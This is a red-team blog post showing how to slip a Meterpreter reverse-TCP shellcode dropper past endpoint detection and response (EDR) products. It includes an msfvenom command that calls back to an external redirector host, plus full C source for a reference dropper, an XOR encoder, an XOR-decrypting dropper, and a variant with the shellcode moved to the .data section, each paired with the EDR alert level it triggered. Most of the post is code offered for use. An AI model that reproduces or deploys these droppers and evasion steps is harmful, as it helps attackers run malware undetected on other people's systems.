Previous

Meterpreter vs Modern EDR(s)

tl;dr Endpoint security continues to be a hot topic, with almost every organisation deploying various products such as antivirus (AV), endpoint protection (EPP) and endpoint detection and response (EDR) systems to prevent or monitor the execution of malware. In recent years, a real game of cat and mouse has developed between the red teamers (attackers) and the blue teamers (defenders). Malicious attackers and Red Teamer alike keep finding new ways to execute malware on the target computer unnoticed, but it usually does not take long for the defenders or product manufacturers to improve. Meanwhile, from an attacker's point of view, there are a number of different techniques that can be used under Windows OS to enhance their own malware or increase its legitimacy. Depending on the technique used, the implementation can sometimes be complex, e.g. direct syscalls, indirect syscalls, hardware breakpoints, etc.

However, in this blog post I would like to show that even today (March 2023) very simple modifications to a Meterpreter shellcode dropper can be sufficient to bypass modern EDRs. To do this, we will step through three modifications to a Meterpreter reference dropper and record the results in the context of EDR evasion. The three modifications include simply encrypting the Meterpreter shellcode with the XOR algorithm, adding legitimate metadata using a manifest file, and moving the Meterpreter shellcode from the .text section to the .data section.

I Stock 1248685118
Msf stager pages
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=External_IPv4_Redirector LPORT=80 -f c
Meterpreter tcp payload
#include <stdio.h>
#include <windows.h>

int main() {

	// Replace your MSF-Shellcode 
	unsigned char code[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\...";

	// Allocate memory for MSF-Shellcode 
	void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// Copy MSF-Shellcode into the allocated memory 
	memcpy(exec, code, sizeof code);

	// Execute MSF-Shellcode in memory 
	((void(*)())exec)();
	return 0;

}
Flow chart msf reference dropper
EDR High Alert entropy
#include <stdio.h>
#include <windows.h>

int main()
{
    unsigned char code[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\...";

	char key = 'ABCD';
	int i = 0;
	for (i; i < sizeof(code); i++)
	{
		printf("\\x%02x", code[i] ^ key);
	}
Xor encrypted meterpreter shellcode
#include <stdio.h>
#include <windows.h>

int main() {

	// Replace your XOR encrypted MSF-Shellcode 
	unsigned char code[] = "\xa6\x12\xd9\xbe\xaa\xb2\x96\...";

	// Decrypt XOR encrpyted MSF-Shellcode
	char key = 'ABCD';
	int i = 0;
	for (i; i < sizeof(code) - 1; i++)
	{
		code[i] = code[i] ^ key;
	}

	
	// Allocate memory for the decrypted MSF-Shellcode 
	void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// Copy the MSF-Shellcode into the allocated memory 
	memcpy(exec, code, sizeof code);

	// Execute the decrypted MSF-Shellcode in memory 
	((void(*)())exec)();
	return 0;

}
Flow chart msf first modification
EDR XOR Medium Alert entropy
VS manifest ressource
Manifest procexp
Flow chart msf second modification
EDR XOR Manifest Low Alert entropy
#include <stdio.h>
#include <windows.h>

    // Replace your XOR encrypted MSF-Shellcode
	unsigned char code[] = "\xa6\x12\xd9\xbe\xaa\xb2\x96\...";

int main() {

	// Decrypt XOR encrpyted MSF-Shellcode
	char key = 'ABCD';
	int i = 0;
	for (i; i < sizeof(code) - 1; i++)
	{
		code[i] = code[i] ^ key;
	}

	
	// Allocate memory for the decrypted MSF-Shellcode 
	void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// Copy the MSF-Shellcode into the allocated memory 
	memcpy(exec, code, sizeof code);

	// Execute the decrypted MSF-Shellcode in memory 
	((void(*)())exec)();
	return 0;

}
CFF shellcode in data
Flow chart msf third modification
Shellcode in data section entropy
Last updated 17.03.24 19:53:36 17.03.24
Daniel Feichter